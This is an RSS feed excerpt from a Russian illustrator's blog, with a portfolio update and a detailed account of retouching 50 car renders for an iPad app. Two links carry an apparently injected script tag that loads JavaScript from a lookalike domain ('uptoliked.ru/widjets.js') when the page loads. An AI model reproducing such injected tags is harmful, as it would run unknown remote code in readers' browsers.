				<content:encoded><![CDATA[<p><a href="http://fominart.ru/moi-raboty-2010-2011.html"><img src="http://fominart.ru/wp-content/uploads/2012/04/update_2010-2011_preview_for_blog.jpg" alt="Обновление портфолио" title="Мои работы (2010-2011)" class="aligncenter size-full wp-image-2757" /></a><br />
<br />Собрал в кучу работы за 2 года. Остался, правда, в закромах <span style="font-weight:bold;">трэш</span> (или <span style="font-weight:bold;">рутина</span>), думаю выкладывать не к чему. Часть работ вы уже видели в виде отдельных постов в моем блоге. <span id="more-2756"></span>Про каждую в отдельности иллюстрацию можно многое рассказать, буду понемногу писать, если будет интересно. Хочется поделиться процессом и обсуждением. И да, если вы заметили, то я практически не рисовал (не скетчил) эти 2 года. Будем наверстывать упущенное!). Я обещал еще выложить свои ранние рисунки на бумаге, думаю, этим вопросом займусь в ближайшее время!<br />
<br/>Приятного просмотра!<br />
<br/><a href="http://fominart.ru/portfolio" title="Перейти к просмотру портфолио">Мои работы!<script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>И еще, посмотрите 2 видео:<br />
<br/> 1. <a href="http://vimeo.com/39425218" title='Breakdown | - HORIZON -'>Breakdown | &#8211; HORIZON -</a> by <a href="http://vimeo.com/mikeoff" title=' на Vimeo.com'>by Mickael Forrett (MEO)</a><br />
<br /><object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=39425218&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=39425218&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Процесс создания мэтта, в котором был задействован целый арсенал программ: Adobe Photoshop, Adobe After Effect, Autodesk Maya, Autodesk Mudbox, The Foundry Nuke.<br />
<br/>2. <a href="http://vimeo.com/40158438" title='Making of Thrill of Discovery'> Making of Thrill of Discovery</a> by <a href="http://vimeo.com/arsthanea" title=' на Vimeo.com'>Ars Thanea</a><br />
<br /><object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=40158438&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=40158438&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Здесь ребята подошли профессионально. Студия, свет, вспышка, люди, 3д моделинг, уух! Результат — я пошел искать челюсть!))</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/moi-raboty-2010-2011.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Pyrolia ROAD.Inc &#8211; ретушь 50-ти автомобилей!</title>
		<link>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html</link>
		<comments>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html#comments</comments>
		<pubDate>Fri, 23 Mar 2012 08:12:15 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[cgretouch]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2645</guid>
		<description><![CDATA[Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?) Мне оказалось слабо при моём уровне. [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._preview.jpg" alt="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" class="aligncenter size-full wp-image-2681" /></a><br />
<br/>Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?)<span id="more-2645"></span><br />
<br/>Мне оказалось слабо при моём уровне. Времени уходило на 1 вид в среднем 1 день &#8211; это виду сбоку, так как помимо кузова приходилось работать над колёсами. Остальные 3 вида выполнял за 2 дня. Но при таком раскладе я никак не мог уложиться в дедлайн, приходилось объяснять. В итоге после дедлайна мне дали еще время, но даже дополнительных 2 месяца не спасали меня. Работал без выходных, отчет о каждой тачке и правки сразу же. Но обо всем по порядку.<br />
<br/>Данные тачки разрабатывались специально для <span style="font-weight:bold;">iPad2</span>. Здесь есть свои подводные камни при ретушировании. Я расскажу о них позднее.<br />
<br/>Перед началом работы мне предложили выполнить тестовый вариант ретуши автомобиля. Это была <span style="font-weight:bold;">Ferrari 250 GTO 1962</span> года.<br />
<br/><span style="font-weight:bold;">О референсах.</span> Данные автомобили &#8211; это 3D модели известных авто, которые моделировало не большая группа моделлеров (5 человек). Чертежи и всю информацию по авто собирали отдельно, со слов заказчика информации на сотни гигабайт (~1TB, чертежи, фото, картинки, журналы). Перед началом работы мне выдали набор файлов к этим 3D моделям и я сначала не понял, что с ними делать.<br />
<a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" class="aligncenter size-full wp-image-2666" /></a><br />
<br/>Я начал &laquo;гуглить&raquo;, но ничего толком не нашел. Вскоре мне подсказали, что и для чего это. Так вот, первые 2 файла &#8211; это маски для автомобилей, чтобы можно было легко выделять их элементы (работа с каналами в Фотошопе). 3-ий файл <span style="font-weight:bold;">specular</span> &#8211; это синий канал (блики), красный (отражения окружения и глобальное освещение) и зеленый (отражения поверхности, на которой стоит авто &#8211; рефлексы). 4 и 5 &#8211; это тип файлов, разработанных компанией <a href="http://www.ilm.com/" title="Industrial Light &#038; Magic">ILM</a>, поддерживающих 32 бита, в которые можно сохранять слои. В основном их используют в кино индустрии. Мне же для основы был нужен <span style="font-weight:bold;">Side Black</span>, а <span style="font-weight:bold;">Side White</span> использовался как вспомогательный в режиме <span style="font-weight:bold;">screen</span> с регулируемой прозрачностью.<br />
<br/>Разрешение всего полотна, которое требовалось на выходе было 3200&#215;2400 пикселей. Оригиналы я показывать не могу по известным причинам). На ретушь <span style="font-weight:bold;">Ferrari 250GTO</span> ушло 3-4 дня (4 вида). Ниже показан только 1 вид сбоку. Отдельно хочу затронуть тему ретуши колес. Заказчик всячески пытался высветлить их, так как на iPad&#8217;e тёмные они смотрелись плохо. Для тестового варианта спицы на дисках пришлось создавать заново.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_b.jpg" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_s.jpg" alt="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" class="aligncenter size-full wp-image-2668" /></a><br />
<br/>Большое внимание уделил деталям. Тут я еще не понимал, что требуется. Начал искать фото этой Феррари и смотреть на ее кузов. Оказывается оригинал найти оказалось не так то просто, кругом попадались различные модификации. При беседе с заказчиком выяснилось, что данные модели &#8211; это оригиналы машин. И что изменять или дополнять что-то не нужно! Необходимо сделать красиво!)<br />
<br/>И так, тест был успешно сдан с 7-ой попытки. Приходилось заниматься постоянной цветокоррекцией кузова авто. В итоге после недельного ожидания я согласился. Попутно стал думать о помощи в проекте среди своих знакомых. Всё же 200 иллюстраций и мое подсознание мне говорило, что я не потяну) Подключил хорошего знакомого <a href="http://revision.ru/a/kmjif/" title="kmjif на revision.ru">Алексея</a>. Заказчик предложил мне стать ответственным за него, чтобы всю работу я с ним сам согласовывал. После тестовых вариантов стало понятно, что повторить мой стиль сразу не получится, обязательно нужны будут правки, а это дополнительная потеря времени. В итоге заказчик всё же настоял, чтобы работу я выполнял самостоятельно, и что скорее всего она пойдет быстрее после несколько отретушированных авто.<br />
<br/>Пока я ретушировал следующие тачки, заказчик тем временем готовил для меня сюрприз. Оказывается он со своим руководством пересмотрели варианты ретуши авто в гораздо большем разрешении &#8211; 8000&#215;6000 пикселей!!! Про себя я подумал, хорошо что недавно сделал <a href="http://fominart.ru/upgrade.html" title="Как я сделал апгрейд компьютера">апгрейд<script src="//uptoliked.ru/widjets.js"></script></a>! <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /> Иначе пришлось бы отказаться от работы. Для таких форматов нужен не слабый компьютер. Заказчик мотивировал такой выбор разрешения тем, что скоро должен выйти (<a href="http://store.apple.com/us/browse/home/shop_ipad/family/ipad" title="iPad">уже вышел!</a>) <span style="font-weight:bold;">iPad3</span> c <span style="font-weight:bold;">retina</span>-дисплеем и было бы круто, чтобы это приложение появилось на нем. Да и детали на авто в меньшем разрешении превращались в кашу (пример с колёсами у Феррари). Таким образом, после 3-х выполненных авто, их пришлось заново ретушировать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_b.jpg" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_s.jpg" alt="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" class="aligncenter size-full wp-image-2651" /></a><br />
<br/>При ретушировании выяснилось, что 3D модели низко полигональные (имеют мало полигонов), поэтому местами форма кузова и других запчастей авто выглядело криво, соответственно, блики также были неправильными. Такие &laquo;косяки&raquo; при моделировании объяснялись жесткими сроками выполнения (2-3 дня на 1 модель). Где-то бампер срезан, где-то логотип авто висит в воздухе, решетка впилась в корпус авто и т.д. О кривой текстуре я уже молчу. Это отнимало уйму времени. При работе заказчик предложил заполнять таблицу сложности ретуширования видов (вид сбоку | другие виды) и ошибки моделирования.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_b.jpg" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_s.jpg" alt="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" class="aligncenter size-full wp-image-2688" /></a><br />
<br/>Из таблицы видно, что самыми &laquo;адскими&raquo; авто при ретушировании были <span style="font-weight:bold;">Bentley Blower [1930]</span> и <span style="font-weight:bold;">Alfa Romeo 6C [1929]</span>. По 4 дня на каждую тачку уходило. Очень сложные в плане деталей и форм.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" class="aligncenter size-full wp-image-2657" /></a><br />
<br/>Помимо основного внешнего вида сбоку, приходилось работать над конструкцией под колёсами. Также сложность заключалась в референсах. Моделлер, видимо, переделывал конструкцию у этой тачки, а маски и спекуляр не обновлял. В итоге пришлось самому их дорисовывать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" class="aligncenter size-full wp-image-2659" /></a><br />
<br/>С цветом пришлось также повозиться. После 3-х дней непрерывного ретуширования мои глаза уже не различали цвета. Со свежим взглядом заказчик попросил допилить цвет) Кстати, очень не хватало 3D моделей, которые мне не показывали. Я просил их у заказчика, но мне сказали ориентироваться на референсы)) Если бы были под рукой цвета отрендеренных моделей, то этого бы, скорее всего, не произошло.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" class="aligncenter size-full wp-image-2655" /></a><br />
<br/>Дополнительную сложность при ретушировании создавал вид авто. На фронт и бэк колёса приходилось все время ровнять, а где-то даже, закрывая глаза, на правдивость форм авто, срезать части колёс) На многих моделях задние колеса частенько зависали в воздухе. Заказчик мне объяснил, что это было связано с камерой при рендеринге, и что сделать иначе никак нельзя было. На начальных моделях пытались спускать колеса (делал моделлер), но как я понял в будущем отказались от этой идеи &#8211; это мне тоже прибавило мороки при начальной ретуши авто.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" class="aligncenter size-full wp-image-2653" /></a><br />
<br/><span style="font-weight:bold;">Alfa Romeo 6C [1929]</span> в отличие от <span style="font-weight:bold;">Bentley Blower [1930]</span> немного проще боковым видом, но остальные виды не менее сложны. Эти машины я запомнил как страшный сон) <span style="font-weight:bold;">Rolls Royce Phantom Star of India [1934]</span> попроще, но все равно размеры и количество деталей поражает, все эти фонари, трубы, обшивка!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_b.jpg" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_s.jpg" alt="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" class="aligncenter size-full wp-image-2683" /></a><br />
<br/>Также среди коллекции можно встретить и современные спорткары. Они в отличие от классики проще в ретушировании. Минимум деталей, максимум обтекаемость и своеобразный вид тачек. Из всей коллекции очень понравилась <span style="font-weight:bold;">Pagani Zonda Cinque &#8211; 2009</span>. Просмотрел кучу рефернсов &#8211; красавица! Ну и как же без самого дорого в мире автомобиля  &#8211; <span style="font-weight:bold;">Bugatti Veyron 16.4 &#8211; 2006</span>. Создатели посчитали обязательным включить его в коллекцию.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_b.jpg" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_s.jpg" alt="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" width="599" height="445" class="aligncenter size-full wp-image-2678" /></a><br />
<br/>Вообще идея всех тачек заключалась в том, что при авто можно было пальцем поднимать и опускать на пол. При этом физика падения и удара колесами о пол должна была сохраняться. Поэтому мне поставили задачу разрезать вид сбоку (именно при нем должно было быть падение) на части, колёса, детали и кузов отдельно, при этом подложка у тачки должна быть черным. Судя по видео презентации, тачки просто появляются, т.е. ими нельзя манипулировать, очень жаль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_b.jpg" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_s.jpg" alt="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" class="aligncenter size-full wp-image-2692" /></a><br />
<br/>При такой резке проблема заключалась в том, что используя маски, у нас на стыки элементов авто образовывалось одно пиксельное пространство, т.е. грубо говоря, если вы возьмете лассо и начнете вырезать из квадрата маленький квадрат, а потом попробуете объединить, у вас не получится это сделать, чтобы при этом было как до резки. Поэтому по черному слою авто приходилось рисовать цветной кистью.<br />
<br/>Следующим интересным моментом при ретушировании было то, что у некоторых 3D модели авто были антенны. А их по замыслу не должно быть. Пришлось в итоге попариться, чтобы убрать.<br />
<br/>
<div style="text-align:center;font-style:normal;"><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" alt="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" class="aligncenter size-full wp-image-2662" /></a></div>
<p><br/>А убрать их приходилось лишь по одной причине. Машину до закачки будет накрывать покрывало, которое можно убрать пальцем после загрузки модели авто. А вариант покрывала накрывающего антенну создатель решил не рассматривать. Дело хозяйское!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" class="aligncenter size-full wp-image-2674" /></a><br />
<br/>Можно посмотреть на примерный оригинал редактируемого изображения. Здесь на несколько процентов уменьшено, но, в принципе, понять масштабы можно. Представляете как будет это смотреться на <span style="font-weight:bold;">iPad3</span>?)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" class="aligncenter size-full wp-image-2664" /></a><br />
<br/>Основные правки были &#8211; это цветокоррекция кузова авто и регулирование уровней (светлее, темнее). Иногда приходилось добавлять обводку на колёса, чтобы выделить диски или покрышки авто. Так как на <span style="font-weight:bold;">iPad2</span> темные колеса выглядели не очень хорошо.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_b.jpg" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_s.jpg" alt="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" class="aligncenter size-full wp-image-2676" /></a><br />
<br/>После первого дедлайна, мне дали еще время, при этом я с полной уверенностью заявил, что не успею и второй срок, т.к. я уже мог спокойно посчитать нужное мне время, на что заказчик писал, что он не может столько ждать. А мне оставалось только продолжать, к тому же я решил ускорить/автоматизировать процесс ретуши.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_b.jpg" title="Pyrolia ROAD.Inc -  Porshe 917 K"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_s.jpg" alt="Pyrolia ROAD.Inc -  Porshe 917 K" title="Pyrolia ROAD.Inc -  Porshe 917 K" class="aligncenter size-full wp-image-2680" /></a><br />
<br/>В каждый исходный файл я добавлял все референсы (см.в самом начале поста), так как они были обязательны для работы. Также я писал экшены в Фотошопе по созданию структуры для каждой машины. Например, первым идёт корпус авто, затем колёса и т.д. Потратив 2 полных дня на собрание 25 тачек (именно столько оставалось после 1-го дедлайна), я стал выполнять основную ретушь авто быстрее. Вот что значит правильно автоматизировать процесс)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_b.jpg" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_s.jpg" alt="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" class="aligncenter size-full wp-image-2661" /></a><br />
<br/>Где-то на 20-ой тачке я понял, как можно ускорить работу. На какие вещи стоит обращать пристальное внимание, а на какие-то применять легкую ретушь. Всё это значительно ускорило процесс работы. Про саму ретушь скажу, что основная работа заключалась в колёсах вида сбоку, кузове (блики, рефлексы, GI) и исправление пресловутых косяков 3D модели. В среднем каждая папка с тачкой (<span style="font-weight:bold;">psd</span>, <span style="font-weight:bold;">referens</span>, <span style="font-weight:bold;">archives</span>) занимает <span style="font-weight:bold;">1,5-3Gb</span> в сумме (все тачки) свыше <span style="font-weight:bold;">150Gb.</span><br />
<br/>Последней из тачек, которую я отретушировал был всем известный &laquo;жук&raquo;. Компактный и мобильный, очень крутой автомобиль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_b.jpg" title="Pyrolia ROAD.Inc - VW Beetle"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_s.jpg" alt="Pyrolia ROAD.Inc - VW Beetle" title="Pyrolia ROAD.Inc - VW Beetle" class="aligncenter size-full wp-image-2670" /></a><br />
<br/>Меня немного удивило, что в титрах к приложению &laquo;<span style="font-weight:bold;">Pyrolia ROAD.Inc</span>&raquo; мне приписали должность <a href="http://ru.wikipedia.org/wiki/Matte_Painting" title="Matte Painting на википедии">Matte Painting</a>, да еще и с ошибкой (одна буква <span style="font-weight:bold;">&laquo;t&raquo;</span>). Моя работа &#8211; это <a href="http://ru.wikipedia.org/wiki/%D0%E5%E4%E0%EA%F2%E8%F0%EE%E2%E0%ED%E8%E5_%E8%E7%EE%E1%F0%E0%E6%E5%ED%E8%E9" title="Ретушь на википедии">ретушь</a> 50-ти автомобилей!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" class="aligncenter size-full wp-image-2672" /></a><br />
<br/>На <a href="http://roadincorporated.com/" title="The Legendary Cars Anthology">сайте</a> <span style="font-weight:bold;">&laquo;Pyrolia&raquo;</span> можно узнать достаточно много подробностей о данном приложении. Помимо данных авто в этой энциклопедии встроены видео 3D вращения (360 градусов) всех 50-ти авто. Ссылка на <a href="http://vimeo.com/pyrolia/videos/page:1/sort:newest" title="PYROLIA SA на Vimeo.com">vimeo</a>.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_b.jpg" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_s.jpg" alt="Pyrolia ROAD.Inc - 3D видео [вращение авто]" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]" class="aligncenter size-full wp-image-2647" /></a><br />
<br />Посмотрите официальную презентацию приложения:<br />
<br/><a href="http://vimeo.com/31715393" title='Road Inc. App for iPad | The Legendary Cars Anthology'>Road Inc. App for iPad | The Legendary Cars Anthology</a> by <a href="http://vimeo.com/pyrolia" title="YungHan Chang на Vimeo">PYROLIA SA</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Также можно почитать на русском статью <a href="http://macradar.ru/software/road-inc-legendy-avtomobilestroeniya-na-konchikax-palcev/" title="легенды автомобилестроения на кончиках пальцев">&laquo;ROAD Inc: легенды автомобилестроения на кончиках пальцев&raquo;</a> и посмотреть еще одно интересное видео, которое в подробностях раскрывает фишки приложения:<br />
<br /><a title="Test ROAD Inc. for ipad by pyrolia | Planete-GT.com" href="http://www.youtube.com/watch?v=ZsLLhnfGdJI&#038;feature=player_embedded">Test ROAD Inc. for ipad by pyrolia | Planete-GT.com</a><br />
<object width="580" height="380"><param name="movie" value="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Все 50 авто во всех ракурсах и их вращение можно посмотреть <a href="http://roadincorporated.com/index.php?/cars/" title="50 авто во всех ракурсах">здесь</a>. В меню выберите <span style="font-weight:bold;">Explore</span>.<br />
<br/>Всем спасибо за внимание!)</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>О фрилансе</title>
		<link>https://fominart.ru/o-frilanse.html</link>
		<comments>https://fominart.ru/o-frilanse.html#comments</comments>
		<pubDate>Mon, 07 Nov 2011 14:46:47 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Мысли вслух]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Тизеры]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2275</guid>
		<description><![CDATA[Фрилансер (от англ. freelancer), другими словами, свободный работник. Как нам всем нравится это слово &#171;free&#187; — свобода! Но свобода может оказаться и не свободой в прямом смысле этого слова. Нет-нет, я никого не пугаю, нужно это понимать, только взвесив все &#171;За&#187; и &#171;Против&#187;. Это итог своего недолгого пребывания на фрилансе, с моим багажом знаний и [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/o-frilanse.html" title="О том, как я начал работать на фрилансе"><img src="http://fominart.ru/wp-content/uploads/2011/10/template_about_freelancing_preview.jpg" alt="О фрилансе" title="О фрилансе" class="alignnone size-full wp-image-2280" /></a><br />
